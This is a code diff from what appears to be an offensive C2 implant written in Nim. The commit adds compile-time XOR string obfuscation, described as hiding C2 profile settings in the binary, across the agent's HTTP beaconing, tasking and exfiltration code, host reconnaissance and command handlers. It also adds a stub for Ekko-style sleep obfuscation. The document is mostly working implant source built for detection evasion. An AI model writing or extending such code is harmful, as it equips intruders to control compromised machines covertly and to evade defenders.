Implemented compile-time string obfuscation via XOR for the agent.
This commit is contained in:
@@ -18,7 +18,7 @@ proc deserializeConfiguration(config: string): AgentCtx =
|
||||
wipeKey(aesKey)
|
||||
|
||||
if gmac != authTag:
|
||||
raise newException(CatchableError, "Invalid authentication tag.")
|
||||
raise newException(CatchableError, protect("Invalid authentication tag."))
|
||||
|
||||
# Parse decrypted profile configuration
|
||||
unpacker = Unpacker.init(Bytes.toString(decData))
|
||||
@@ -37,14 +37,14 @@ proc deserializeConfiguration(config: string): AgentCtx =
|
||||
|
||||
wipeKey(agentKeyPair.privateKey)
|
||||
|
||||
echo "[+] Profile configuration deserialized."
|
||||
echo protect("[+] Profile configuration deserialized.")
|
||||
return ctx
|
||||
|
||||
proc init*(T: type AgentCtx): AgentCtx =
|
||||
|
||||
try:
|
||||
when not defined(CONFIGURATION):
|
||||
raise newException(CatchableError, "Missing agent configuration.")
|
||||
raise newException(CatchableError, protect("Missing agent configuration."))
|
||||
|
||||
return deserializeConfiguration(CONFIGURATION)
|
||||
|
||||
|
||||
@@ -4,36 +4,36 @@ import ../../common/[types, utils, profile]
|
||||
|
||||
proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
|
||||
|
||||
let client = newAsyncHttpClient(userAgent = ctx.profile.getString("agent.user-agent"))
|
||||
let client = newAsyncHttpClient(userAgent = ctx.profile.getString(protect("agent.user-agent")))
|
||||
var heartbeatString: string
|
||||
|
||||
# Apply data transformation to the heartbeat bytes
|
||||
case ctx.profile.getString("http-get.agent.heartbeat.encoding.type", default = "none")
|
||||
case ctx.profile.getString(protect("http-get.agent.heartbeat.encoding.type"), default = "none")
|
||||
of "base64":
|
||||
heartbeatString = encode(heartbeat, safe = ctx.profile.getBool("http-get.agent.heartbeat.encoding.url-safe")).replace("=", "")
|
||||
heartbeatString = encode(heartbeat, safe = ctx.profile.getBool(protect("http-get.agent.heartbeat.encoding.url-safe"))).replace("=", "")
|
||||
of "none":
|
||||
heartbeatString = Bytes.toString(heartbeat)
|
||||
|
||||
# Define request headers, as defined in profile
|
||||
for header, value in ctx.profile.getTable("http-get.agent.headers"):
|
||||
for header, value in ctx.profile.getTable(protect("http-get.agent.headers")):
|
||||
client.headers.add(header, value.getStringValue())
|
||||
|
||||
# Select a random endpoint to make the request to
|
||||
var endpoint = ctx.profile.getString("http-get.endpoints")
|
||||
var endpoint = ctx.profile.getString(protect("http-get.endpoints"))
|
||||
if endpoint[0] == '/':
|
||||
endpoint = endpoint[1..^1] & "?" # Add '?' for additional GET parameters
|
||||
|
||||
let
|
||||
prefix = ctx.profile.getString("http-get.agent.heartbeat.prefix")
|
||||
suffix = ctx.profile.getString("http-get.agent.heartbeat.suffix")
|
||||
prefix = ctx.profile.getString(protect("http-get.agent.heartbeat.prefix"))
|
||||
suffix = ctx.profile.getString(protect("http-get.agent.heartbeat.suffix"))
|
||||
payload = prefix & heartbeatString & suffix
|
||||
|
||||
# Add heartbeat packet to the request
|
||||
case ctx.profile.getString("http-get.agent.heartbeat.placement.type"):
|
||||
case ctx.profile.getString(protect("http-get.agent.heartbeat.placement.type")):
|
||||
of "header":
|
||||
client.headers.add(ctx.profile.getString("http-get.agent.heartbeat.placement.name"), payload)
|
||||
client.headers.add(ctx.profile.getString(protect("http-get.agent.heartbeat.placement.name")), payload)
|
||||
of "parameter":
|
||||
let param = ctx.profile.getString("http-get.agent.heartbeat.placement.name")
|
||||
let param = ctx.profile.getString(protect("http-get.agent.heartbeat.placement.name"))
|
||||
endpoint &= fmt"{param}={payload}&"
|
||||
of "uri":
|
||||
discard
|
||||
@@ -43,7 +43,7 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
|
||||
discard
|
||||
|
||||
# Define additional request parameters
|
||||
for param, value in ctx.profile.getTable("http-get.agent.parameters"):
|
||||
for param, value in ctx.profile.getTable(protect("http-get.agent.parameters")):
|
||||
endpoint &= fmt"{param}={value.getStringValue()}&"
|
||||
|
||||
try:
|
||||
@@ -56,11 +56,11 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
|
||||
|
||||
# In case that tasks are found, apply data transformation to server's response body to get thr raw data
|
||||
let
|
||||
prefix = ctx.profile.getString("http-get.server.output.prefix")
|
||||
suffix = ctx.profile.getString("http-get.server.output.suffix")
|
||||
prefix = ctx.profile.getString(protect("http-get.server.output.prefix"))
|
||||
suffix = ctx.profile.getString(protect("http-get.server.output.suffix"))
|
||||
encResponse = responseBody[len(prefix) ..^ len(suffix) + 1]
|
||||
|
||||
case ctx.profile.getString("http-get.server.output.encoding.type", default = "none"):
|
||||
case ctx.profile.getString(protect("http-get.server.output.encoding.type"), default = "none"):
|
||||
of "base64":
|
||||
return decode(encResponse)
|
||||
of "none":
|
||||
@@ -77,18 +77,18 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
|
||||
|
||||
proc httpPost*(ctx: AgentCtx, data: seq[byte]): bool {.discardable.} =
|
||||
|
||||
let client = newAsyncHttpClient(userAgent = ctx.profile.getString("agent.user-agent"))
|
||||
let client = newAsyncHttpClient(userAgent = ctx.profile.getString(protect("agent.user-agent")))
|
||||
|
||||
# Define request headers, as defined in profile
|
||||
for header, value in ctx.profile.getTable("http-post.agent.headers"):
|
||||
for header, value in ctx.profile.getTable(protect("http-post.agent.headers")):
|
||||
client.headers.add(header, value.getStringValue())
|
||||
|
||||
# Select a random endpoint to make the request to
|
||||
var endpoint = ctx.profile.getString("http-post.endpoints")
|
||||
var endpoint = ctx.profile.getString(protect("http-post.endpoints"))
|
||||
if endpoint[0] == '/':
|
||||
endpoint = endpoint[1..^1]
|
||||
|
||||
let requestMethod = parseEnum[HttpMethod](ctx.profile.getString("http-post.request-methods", "POST"))
|
||||
let requestMethod = parseEnum[HttpMethod](ctx.profile.getString(protect("http-post.request-methods"), protect("POST")))
|
||||
|
||||
let body = Bytes.toString(data)
|
||||
|
||||
|
||||
3
src/agent/core/sleepmask.nim
Normal file
3
src/agent/core/sleepmask.nim
Normal file
@@ -0,0 +1,3 @@
|
||||
import winim/lean
|
||||
|
||||
# Sleep obfuscation based on Ekko (by C5pider)
|
||||
@@ -76,7 +76,7 @@ type
|
||||
SERVER = 3
|
||||
|
||||
# API Structs
|
||||
type OSVersionInfoExW {.importc: "OSVERSIONINFOEXW", header: "<windows.h>".} = object
|
||||
type OSVersionInfoExW {.importc: protect("OSVERSIONINFOEXW"), header: protect("<windows.h>").} = object
|
||||
dwOSVersionInfoSize: ULONG
|
||||
dwMajorVersion: ULONG
|
||||
dwMinorVersion: ULONG
|
||||
@@ -99,58 +99,58 @@ proc getWindowsVersion(info: OSVersionInfoExW, productType: ProductType): string
|
||||
if major == 10 and minor == 0:
|
||||
if productType == WORKSTATION:
|
||||
if build >= 22000:
|
||||
return "Windows 11"
|
||||
return protect("Windows 11")
|
||||
else:
|
||||
return "Windows 10"
|
||||
return protect("Windows 10")
|
||||
|
||||
else:
|
||||
case build:
|
||||
of 20348:
|
||||
return "Windows Server 2022"
|
||||
return protect("Windows Server 2022")
|
||||
of 17763:
|
||||
return "Windows Server 2019"
|
||||
return protect("Windows Server 2019")
|
||||
of 14393:
|
||||
return "Windows Server 2016"
|
||||
return protect("Windows Server 2016")
|
||||
else:
|
||||
return fmt"Windows Server 10.x (Build: {build})"
|
||||
return protect("Windows Server 10.x (Build: ") & $build & protect(")")
|
||||
|
||||
elif major == 6:
|
||||
case minor:
|
||||
of 3:
|
||||
if productType == WORKSTATION:
|
||||
return "Windows 8.1"
|
||||
return protect("Windows 8.1")
|
||||
else:
|
||||
return "Windows Server 2012 R2"
|
||||
return protect("Windows Server 2012 R2")
|
||||
of 2:
|
||||
if productType == WORKSTATION:
|
||||
return "Windows 8"
|
||||
return protect("Windows 8")
|
||||
else:
|
||||
return "Windows Server 2012"
|
||||
return protect("Windows Server 2012")
|
||||
of 1:
|
||||
if productType == WORKSTATION:
|
||||
return "Windows 7"
|
||||
return protect("Windows 7")
|
||||
else:
|
||||
return "Windows Server 2008 R2"
|
||||
return protect("Windows Server 2008 R2")
|
||||
of 0:
|
||||
if productType == WORKSTATION:
|
||||
return "Windows Vista"
|
||||
return protect("Windows Vista")
|
||||
else:
|
||||
return "Windows Server 2008"
|
||||
return protect("Windows Server 2008")
|
||||
else:
|
||||
discard
|
||||
|
||||
elif major == 5:
|
||||
if minor == 2:
|
||||
if productType == WORKSTATION:
|
||||
return "Windows XP x64 Edition"
|
||||
return protect("Windows XP x64 Edition")
|
||||
else:
|
||||
return "Windows Server 2003"
|
||||
return protect("Windows Server 2003")
|
||||
elif minor == 1:
|
||||
return "Windows XP"
|
||||
return protect("Windows XP")
|
||||
else:
|
||||
discard
|
||||
|
||||
return "Unknown Windows Version"
|
||||
return protect("Unknown Windows Version")
|
||||
|
||||
proc getProductType(): ProductType =
|
||||
# The product key is retrieved from the registry
|
||||
@@ -162,7 +162,7 @@ proc getProductType(): ProductType =
|
||||
# WinNT -> Workstation
|
||||
|
||||
# Using the 'registry' module, we can get the exact registry value
|
||||
case getUnicodeValue("""SYSTEM\CurrentControlSet\Control\ProductOptions""", "ProductType", HKEY_LOCAL_MACHINE)
|
||||
case getUnicodeValue(protect("""SYSTEM\CurrentControlSet\Control\ProductOptions"""), protect("ProductType"), HKEY_LOCAL_MACHINE)
|
||||
of "WinNT":
|
||||
return WORKSTATION
|
||||
of "ServerNT":
|
||||
@@ -173,7 +173,7 @@ proc getProductType(): ProductType =
|
||||
proc getOSVersion(): string =
|
||||
|
||||
proc rtlGetVersion(lpVersionInformation: var OSVersionInfoExW): NTSTATUS
|
||||
{.cdecl, importc: "RtlGetVersion", dynlib: "ntdll.dll".}
|
||||
{.cdecl, importc: protect("RtlGetVersion"), dynlib: protect("ntdll.dll").}
|
||||
|
||||
when defined(windows):
|
||||
var osInfo: OSVersionInfoExW
|
||||
@@ -190,7 +190,7 @@ proc getOSVersion(): string =
|
||||
# We instead retrieve the
|
||||
return getWindowsVersion(osInfo, getProductType())
|
||||
else:
|
||||
return "Unknown"
|
||||
return protect("Unknown")
|
||||
|
||||
proc collectAgentMetadata*(ctx: AgentCtx): AgentRegistrationData =
|
||||
|
||||
|
||||
@@ -1,97 +0,0 @@
|
||||
# MIT License
|
||||
#
|
||||
# Copyright (c) 2022 Can Joshua Lehmann
|
||||
#
|
||||
# Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
# of this software and associated documentation files (the "Software"), to deal
|
||||
# in the Software without restriction, including without limitation the rights
|
||||
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
# copies of the Software, and to permit persons to whom the Software is
|
||||
# furnished to do so, subject to the following conditions:
|
||||
#
|
||||
# The above copyright notice and this permission notice shall be included in all
|
||||
# copies or substantial portions of the Software.
|
||||
#
|
||||
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
# SOFTWARE.
|
||||
|
||||
import owlkettle, owlkettle/[playground, adw]
|
||||
|
||||
viewable App:
|
||||
collapsed: bool = false
|
||||
enableHideGesture: bool = true
|
||||
enableShowGesture: bool = true
|
||||
maxSidebarWidth: float = 300.0
|
||||
minSidebarWidth: float = 250.0
|
||||
pinSidebar: bool = false
|
||||
showSidebar: bool = true
|
||||
sidebarPosition: PackType = PackStart
|
||||
widthFraction: float = 0.25
|
||||
widthUnit: LengthUnit = LengthScaleIndependent
|
||||
sensitive: bool = true
|
||||
tooltip: string = ""
|
||||
sizeRequest: tuple[x, y: int] = (-1, -1)
|
||||
|
||||
method view(app: AppState): Widget =
|
||||
result = gui:
|
||||
AdwWindow:
|
||||
defaultSize = (600, 400)
|
||||
|
||||
OverlaySplitView:
|
||||
collapsed = app.collapsed
|
||||
enableHideGesture = app.enableHideGesture
|
||||
enableShowGesture = app.enableShowGesture
|
||||
maxSidebarWidth = app.maxSidebarWidth
|
||||
minSidebarWidth = app.minSidebarWidth
|
||||
pinSidebar = app.pinSidebar
|
||||
showSidebar = app.showSidebar
|
||||
sidebarPosition = app.sidebarPosition
|
||||
widthFraction = app.widthFraction
|
||||
widthUnit = app.widthUnit
|
||||
tooltip = app.tooltip
|
||||
sensitive = app.sensitive
|
||||
sizeRequest = app.sizeRequest
|
||||
|
||||
proc toggle(shown: bool) =
|
||||
echo shown
|
||||
app.showSidebar = shown
|
||||
|
||||
Box:
|
||||
orient = OrientY
|
||||
|
||||
AdwHeaderBar {.expand: false.}:
|
||||
style = HeaderBarFlat
|
||||
|
||||
insert(app.toAutoFormMenu(sizeRequest = (400, 500))){.addRight.}
|
||||
|
||||
Button {.addLeft.}:
|
||||
icon = "sidebar-show-symbolic"
|
||||
style = ButtonFlat
|
||||
|
||||
proc clicked() =
|
||||
app.showSidebar = not app.showSidebar
|
||||
|
||||
Label:
|
||||
text = "Content"
|
||||
style = LabelTitle2
|
||||
|
||||
Box {.addSidebar.}:
|
||||
orient = OrientY
|
||||
spacing = 4
|
||||
|
||||
AdwHeaderBar {.expand: false.}:
|
||||
style = HeaderBarFlat
|
||||
|
||||
WindowTitle {.addTitle.}:
|
||||
title = "Overlay Split View Example"
|
||||
|
||||
Label:
|
||||
text = "Sidebar"
|
||||
style = LabelTitle2
|
||||
|
||||
adw.brew(gui(App()))
|
||||
@@ -1,7 +1,7 @@
|
||||
import macros, system
|
||||
import macros, system, hashes
|
||||
import nimcrypto
|
||||
|
||||
import ./[utils, types]
|
||||
import ./[types, utils]
|
||||
|
||||
#[
|
||||
Symmetric AES256 GCM encryption for secure C2 traffic
|
||||
@@ -10,7 +10,7 @@ import ./[utils, types]
|
||||
proc generateBytes*(T: typedesc[Key | Iv]): array =
|
||||
var bytes: T
|
||||
if randomBytes(bytes) != sizeof(T):
|
||||
raise newException(CatchableError, "Failed to generate byte array.")
|
||||
raise newException(CatchableError, protect("Failed to generate byte array."))
|
||||
return bytes
|
||||
|
||||
proc encrypt*(key: Key, iv: Iv, data: seq[byte], sequenceNumber: uint32 = 0): (seq[byte], AuthenticationTag) =
|
||||
@@ -48,7 +48,7 @@ proc validateDecryption*(key: Key, iv: Iv, encData: seq[byte], sequenceNumber: u
|
||||
let (decData, gmac) = decrypt(key, iv, encData, sequenceNumber)
|
||||
|
||||
if gmac != header.gmac:
|
||||
raise newException(CatchableError, "Invalid authentication tag.")
|
||||
raise newException(CatchableError, protect("Invalid authentication tag."))
|
||||
|
||||
return decData
|
||||
|
||||
@@ -110,7 +110,7 @@ proc deriveSessionKey*(keyPair: KeyPair, publicKey: Key): Key =
|
||||
|
||||
# Add combined public keys to hash
|
||||
let combinedKeys: Key = combineKeys(keyPair.publicKey, publicKey)
|
||||
let hashMessage: seq[byte] = string.toBytes("CONQUEST") & @combinedKeys
|
||||
let hashMessage: seq[byte] = string.toBytes(protect("CONQUEST")) & @combinedKeys
|
||||
|
||||
# Calculate Blake2b hash and extract the first 32 bytes for the AES key (https://monocypher.org/manual/blake2b)
|
||||
let hash = blake2b(hashMessage, sharedSecret)
|
||||
@@ -129,7 +129,7 @@ proc writeKeyToDisk*(keyFile: string, key: Key) =
|
||||
let bytesWritten = file.writeBytes(key, 0, sizeof(Key))
|
||||
|
||||
if bytesWritten != sizeof(Key):
|
||||
raise newException(ValueError, "Invalid key length.")
|
||||
raise newException(ValueError, protect("Invalid key length."))
|
||||
|
||||
proc loadKeyPair*(keyFile: string): KeyPair =
|
||||
try:
|
||||
@@ -140,7 +140,7 @@ proc loadKeyPair*(keyFile: string): KeyPair =
|
||||
let bytesRead = file.readBytes(privateKey, 0, sizeof(Key))
|
||||
|
||||
if bytesRead != sizeof(Key):
|
||||
raise newException(ValueError, "Invalid key length.")
|
||||
raise newException(ValueError, protect("Invalid key length."))
|
||||
|
||||
return KeyPair(
|
||||
privateKey: privateKey,
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
import tables
|
||||
import ./types
|
||||
import ./[types, utils]
|
||||
|
||||
var sequenceTable {.global.}: Table[uint32, uint32]
|
||||
|
||||
@@ -31,12 +31,12 @@ proc validatePacket*(header: Header, expectedType: uint8) =
|
||||
|
||||
# Validate magic number
|
||||
if header.magic != MAGIC:
|
||||
raise newException(CatchableError, "Invalid magic bytes.")
|
||||
raise newException(CatchableError, protect("Invalid magic bytes."))
|
||||
|
||||
# Validate packet type
|
||||
if header.packetType != expectedType:
|
||||
raise newException(CatchableError, "Invalid packet type.")
|
||||
raise newException(CatchableError, protect("Invalid packet type."))
|
||||
|
||||
# Validate sequence number
|
||||
if not validateSequence(header.agentId, header.seqNr, header.packetType):
|
||||
raise newException(CatchableError, "Invalid sequence number.")
|
||||
raise newException(CatchableError, protect("Invalid sequence number."))
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
import streams, tables
|
||||
import ./[types, utils, crypto]
|
||||
import ./[types, utils]
|
||||
|
||||
#[
|
||||
Packer
|
||||
@@ -102,7 +102,7 @@ proc getBytes*(unpacker: Unpacker, length: int): seq[byte] =
|
||||
unpacker.position += bytesRead
|
||||
|
||||
if bytesRead != length:
|
||||
raise newException(IOError, "Not enough data to read")
|
||||
raise newException(IOError, protect("Not enough data to read"))
|
||||
|
||||
proc getByteArray*(unpacker: Unpacker, T: typedesc[Key | Iv | AuthenticationTag]): array =
|
||||
var bytes: array[sizeof(T), byte]
|
||||
@@ -111,7 +111,7 @@ proc getByteArray*(unpacker: Unpacker, T: typedesc[Key | Iv | AuthenticationTag]
|
||||
unpacker.position += bytesRead
|
||||
|
||||
if bytesRead != sizeof(T):
|
||||
raise newException(IOError, "Not enough data to read structure.")
|
||||
raise newException(IOError, protect("Not enough data to read structure."))
|
||||
|
||||
return bytes
|
||||
|
||||
|
||||
@@ -1,20 +1,8 @@
|
||||
import macros, hashes
|
||||
import strutils, nimcrypto
|
||||
|
||||
import ./types
|
||||
|
||||
proc generateUUID*(): string =
|
||||
# Create a 4-byte HEX UUID string (8 characters)
|
||||
var uuid: array[4, byte]
|
||||
if randomBytes(uuid) != 4:
|
||||
raise newException(CatchableError, "Failed to generate UUID.")
|
||||
return uuid.toHex().toUpperAscii()
|
||||
|
||||
proc toUuid*(T: type string, uuid: string): Uuid =
|
||||
return fromHex[uint32](uuid)
|
||||
|
||||
proc toString*(T: type Uuid, uuid: Uuid): string =
|
||||
return uuid.toHex(8)
|
||||
|
||||
proc toString*(T: type Bytes, data: seq[byte]): string =
|
||||
result = newString(data.len)
|
||||
for i, b in data:
|
||||
@@ -25,9 +13,49 @@ proc toBytes*(T: type string, data: string): seq[byte] =
|
||||
for i, c in data:
|
||||
result[i] = byte(c.ord)
|
||||
|
||||
#[
|
||||
Compile-time string encryption using simple XOR
|
||||
This is done to hide sensitive strings, such as C2 profile settings in the binary
|
||||
]#
|
||||
proc calculate(str: string, key: int): string {.noinline.} =
|
||||
var k = key
|
||||
var bytes = string.toBytes(str)
|
||||
for i in 0 ..< bytes.len:
|
||||
for f in [0, 8, 16, 24]:
|
||||
bytes[i] = bytes[i] xor uint8((k shr f) and 0xFF)
|
||||
k = k +% 1
|
||||
return Bytes.toString(bytes)
|
||||
|
||||
# Generate a XOR key at compile-time. The `and` operation ensures that a positive integer is the result
|
||||
var key {.compileTime.}: int = hash(CompileTime & CompileDate) and 0x7FFFFFFF
|
||||
|
||||
macro protect*(str: untyped): untyped =
|
||||
var encStr = calculate($str, key)
|
||||
result = quote do:
|
||||
calculate(`encStr`, `key`)
|
||||
|
||||
# Alternate the XOR key using the FNV prime (1677619)
|
||||
key = (key *% 1677619) and 0x7FFFFFFF
|
||||
|
||||
#[
|
||||
Utility functions
|
||||
]#
|
||||
proc toUuid*(T: type string, uuid: string): Uuid =
|
||||
return fromHex[uint32](uuid)
|
||||
|
||||
proc toString*(T: type Uuid, uuid: Uuid): string =
|
||||
return uuid.toHex(8)
|
||||
|
||||
proc generateUUID*(): string =
|
||||
# Create a 4-byte HEX UUID string (8 characters)
|
||||
var uuid: array[4, byte]
|
||||
if randomBytes(uuid) != 4:
|
||||
raise newException(CatchableError, protect("Failed to generate UUID."))
|
||||
return uuid.toHex().toUpperAscii()
|
||||
|
||||
proc toUint32*(T: type Bytes, data: seq[byte]): uint32 =
|
||||
if data.len != 4:
|
||||
raise newException(ValueError, "Expected 4 bytes for uint32")
|
||||
raise newException(ValueError, protect("Expected 4 bytes for uint32"))
|
||||
|
||||
return uint32(data[0]) or
|
||||
(uint32(data[1]) shl 8) or
|
||||
@@ -71,6 +99,6 @@ proc toBytes*(T: type uint64, value: uint64): seq[byte] =
|
||||
|
||||
proc toKey*(value: string): Key =
|
||||
if value.len != 32:
|
||||
raise newException(ValueError, "Invalid key length.")
|
||||
raise newException(ValueError, protect("Invalid key length."))
|
||||
|
||||
copyMem(result[0].addr, value[0].unsafeAddr, 32)
|
||||
@@ -1,4 +1,4 @@
|
||||
import ../common/types
|
||||
import ../common/[types, utils]
|
||||
|
||||
# Declare function prototypes
|
||||
proc executePs(ctx: AgentCtx, task: Task): TaskResult
|
||||
@@ -8,26 +8,26 @@ proc executeWhoami(ctx: AgentCtx, task: Task): TaskResult
|
||||
# Command definitions
|
||||
let commands*: seq[Command] = @[
|
||||
Command(
|
||||
name: "ps",
|
||||
name: protect("ps"),
|
||||
commandType: CMD_PS,
|
||||
description: "Display running processes.",
|
||||
example: "ps",
|
||||
description: protect("Display running processes."),
|
||||
example: protect("ps"),
|
||||
arguments: @[],
|
||||
execute: executePs
|
||||
),
|
||||
Command(
|
||||
name: "env",
|
||||
name: protect("env"),
|
||||
commandType: CMD_ENV,
|
||||
description: "Display environment variables.",
|
||||
example: "env",
|
||||
description: protect("Display environment variables."),
|
||||
example: protect("env"),
|
||||
arguments: @[],
|
||||
execute: executeEnv
|
||||
),
|
||||
Command(
|
||||
name: "whoami",
|
||||
name: protect("whoami"),
|
||||
commandType: CMD_WHOAMI,
|
||||
description: "Get user information.",
|
||||
example: "whoami",
|
||||
description: protect("Get user information."),
|
||||
example: protect("whoami"),
|
||||
arguments: @[],
|
||||
execute: executeWhoami
|
||||
)
|
||||
@@ -56,7 +56,7 @@ when defined(agent):
|
||||
|
||||
proc executePs(ctx: AgentCtx, task: Task): TaskResult =
|
||||
|
||||
echo fmt" [>] Listing running processes."
|
||||
echo protect(" [>] Listing running processes.")
|
||||
|
||||
try:
|
||||
var processes: seq[DWORD] = @[]
|
||||
@@ -66,7 +66,7 @@ when defined(agent):
|
||||
# Take a snapshot of running processes
|
||||
let hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
|
||||
if hSnapshot == INVALID_HANDLE_VALUE:
|
||||
raise newException(CatchableError, "Invalid permissions.\n")
|
||||
raise newException(CatchableError, protect("Invalid permissions.\n"))
|
||||
|
||||
# Close handle after object is no longer used
|
||||
defer: CloseHandle(hSnapshot)
|
||||
@@ -76,7 +76,7 @@ when defined(agent):
|
||||
|
||||
# Loop over processes to fill the map
|
||||
if Process32First(hSnapshot, addr pe32) == FALSE:
|
||||
raise newException(CatchableError, "Failed to get processes.\n")
|
||||
raise newException(CatchableError, protect("Failed to get processes.\n"))
|
||||
|
||||
while true:
|
||||
var procInfo = ProcessInfo(
|
||||
@@ -99,7 +99,7 @@ when defined(agent):
|
||||
processes.add(pid)
|
||||
|
||||
# Add header row
|
||||
let headers = @["PID", "PPID", "Process"]
|
||||
let headers = @[protect("PID"), protect("PPID"), protect("Process")]
|
||||
output &= fmt"{headers[0]:<10}{headers[1]:<10}{headers[2]:<25}" & "\n"
|
||||
output &= "-".repeat(len(headers[0])).alignLeft(10) & "-".repeat(len(headers[1])).alignLeft(10) & "-".repeat(len(headers[2])).alignLeft(25) & "\n"
|
||||
|
||||
@@ -130,7 +130,7 @@ when defined(agent):
|
||||
|
||||
proc executeEnv(ctx: AgentCtx, task: Task): TaskResult =
|
||||
|
||||
echo fmt" [>] Displaying environment variables."
|
||||
echo protect(" [>] Displaying environment variables.")
|
||||
|
||||
try:
|
||||
var output: string = ""
|
||||
@@ -144,11 +144,11 @@ when defined(agent):
|
||||
|
||||
proc executeWhoami(ctx: AgentCtx, task: Task): TaskResult =
|
||||
|
||||
echo fmt" [>] Getting user information."
|
||||
echo protect(" [>] Getting user information.")
|
||||
|
||||
try:
|
||||
|
||||
let output = "Not implemented"
|
||||
let output = protect("Not implemented")
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(output))
|
||||
|
||||
except CatchableError as err:
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
import ../common/types
|
||||
import ../common/[types, utils]
|
||||
|
||||
# Define function prototypes
|
||||
proc executePwd(ctx: AgentCtx, task: Task): TaskResult
|
||||
@@ -12,72 +12,72 @@ proc executeCopy(ctx: AgentCtx, task: Task): TaskResult
|
||||
# Command definitions
|
||||
let commands* = @[
|
||||
Command(
|
||||
name: "pwd",
|
||||
name: protect("pwd"),
|
||||
commandType: CMD_PWD,
|
||||
description: "Retrieve current working directory.",
|
||||
example: "pwd",
|
||||
description: protect("Retrieve current working directory."),
|
||||
example: protect("pwd"),
|
||||
arguments: @[],
|
||||
execute: executePwd
|
||||
),
|
||||
Command(
|
||||
name: "cd",
|
||||
name: protect("cd"),
|
||||
commandType: CMD_CD,
|
||||
description: "Change current working directory.",
|
||||
example: "cd C:\\Windows\\Tasks",
|
||||
description: protect("Change current working directory."),
|
||||
example: protect("cd C:\\Windows\\Tasks"),
|
||||
arguments: @[
|
||||
Argument(name: "directory", description: "Relative or absolute path of the directory to change to.", argumentType: STRING, isRequired: true)
|
||||
Argument(name: protect("directory"), description: protect("Relative or absolute path of the directory to change to."), argumentType: STRING, isRequired: true)
|
||||
],
|
||||
execute: executeCd
|
||||
),
|
||||
Command(
|
||||
name: "ls",
|
||||
name: protect("ls"),
|
||||
commandType: CMD_LS,
|
||||
description: "List files and directories.",
|
||||
example: "ls C:\\Users\\Administrator\\Desktop",
|
||||
description: protect("List files and directories."),
|
||||
example: protect("ls C:\\Users\\Administrator\\Desktop"),
|
||||
arguments: @[
|
||||
Argument(name: "directory", description: "Relative or absolute path. Default: current working directory.", argumentType: STRING, isRequired: false)
|
||||
Argument(name: protect("directory"), description: protect("Relative or absolute path. Default: current working directory."), argumentType: STRING, isRequired: false)
|
||||
],
|
||||
execute: executeDir
|
||||
),
|
||||
Command(
|
||||
name: "rm",
|
||||
name: protect("rm"),
|
||||
commandType: CMD_RM,
|
||||
description: "Remove a file.",
|
||||
example: "rm C:\\Windows\\Tasks\\payload.exe",
|
||||
description: protect("Remove a file."),
|
||||
example: protect("rm C:\\Windows\\Tasks\\payload.exe"),
|
||||
arguments: @[
|
||||
Argument(name: "file", description: "Relative or absolute path to the file to delete.", argumentType: STRING, isRequired: true)
|
||||
Argument(name: protect("file"), description: protect("Relative or absolute path to the file to delete."), argumentType: STRING, isRequired: true)
|
||||
],
|
||||
execute: executeRm
|
||||
),
|
||||
Command(
|
||||
name: "rmdir",
|
||||
name: protect("rmdir"),
|
||||
commandType: CMD_RMDIR,
|
||||
description: "Remove a directory.",
|
||||
example: "rm C:\\Payloads",
|
||||
description: protect("Remove a directory."),
|
||||
example: protect("rm C:\\Payloads"),
|
||||
arguments: @[
|
||||
Argument(name: "directory", description: "Relative or absolute path to the directory to delete.", argumentType: STRING, isRequired: true)
|
||||
Argument(name: protect("directory"), description: protect("Relative or absolute path to the directory to delete."), argumentType: STRING, isRequired: true)
|
||||
],
|
||||
execute: executeRmdir
|
||||
),
|
||||
Command(
|
||||
name: "move",
|
||||
name: protect("move"),
|
||||
commandType: CMD_MOVE,
|
||||
description: "Move a file or directory.",
|
||||
example: "move source.exe C:\\Windows\\Tasks\\destination.exe",
|
||||
description: protect("Move a file or directory."),
|
||||
example: protect("move source.exe C:\\Windows\\Tasks\\destination.exe"),
|
||||
arguments: @[
|
||||
Argument(name: "source", description: "Source file path.", argumentType: STRING, isRequired: true),
|
||||
Argument(name: "destination", description: "Destination file path.", argumentType: STRING, isRequired: true)
|
||||
Argument(name: protect("source"), description: protect("Source file path."), argumentType: STRING, isRequired: true),
|
||||
Argument(name: protect("destination"), description: protect("Destination file path."), argumentType: STRING, isRequired: true)
|
||||
],
|
||||
execute: executeMove
|
||||
),
|
||||
Command(
|
||||
name: "copy",
|
||||
name: protect("copy"),
|
||||
commandType: CMD_COPY,
|
||||
description: "Copy a file or directory.",
|
||||
example: "copy source.exe C:\\Windows\\Tasks\\destination.exe",
|
||||
description: protect("Copy a file or directory."),
|
||||
example: protect("copy source.exe C:\\Windows\\Tasks\\destination.exe"),
|
||||
arguments: @[
|
||||
Argument(name: "source", description: "Source file path.", argumentType: STRING, isRequired: true),
|
||||
Argument(name: "destination", description: "Destination file path.", argumentType: STRING, isRequired: true)
|
||||
Argument(name: protect("source"), description: protect("Source file path."), argumentType: STRING, isRequired: true),
|
||||
Argument(name: protect("destination"), description: protect("Destination file path."), argumentType: STRING, isRequired: true)
|
||||
],
|
||||
execute: executeCopy
|
||||
)
|
||||
@@ -102,7 +102,7 @@ when defined(agent):
|
||||
# Retrieve current working directory
|
||||
proc executePwd(ctx: AgentCtx, task: Task): TaskResult =
|
||||
|
||||
echo fmt" [>] Retrieving current working directory."
|
||||
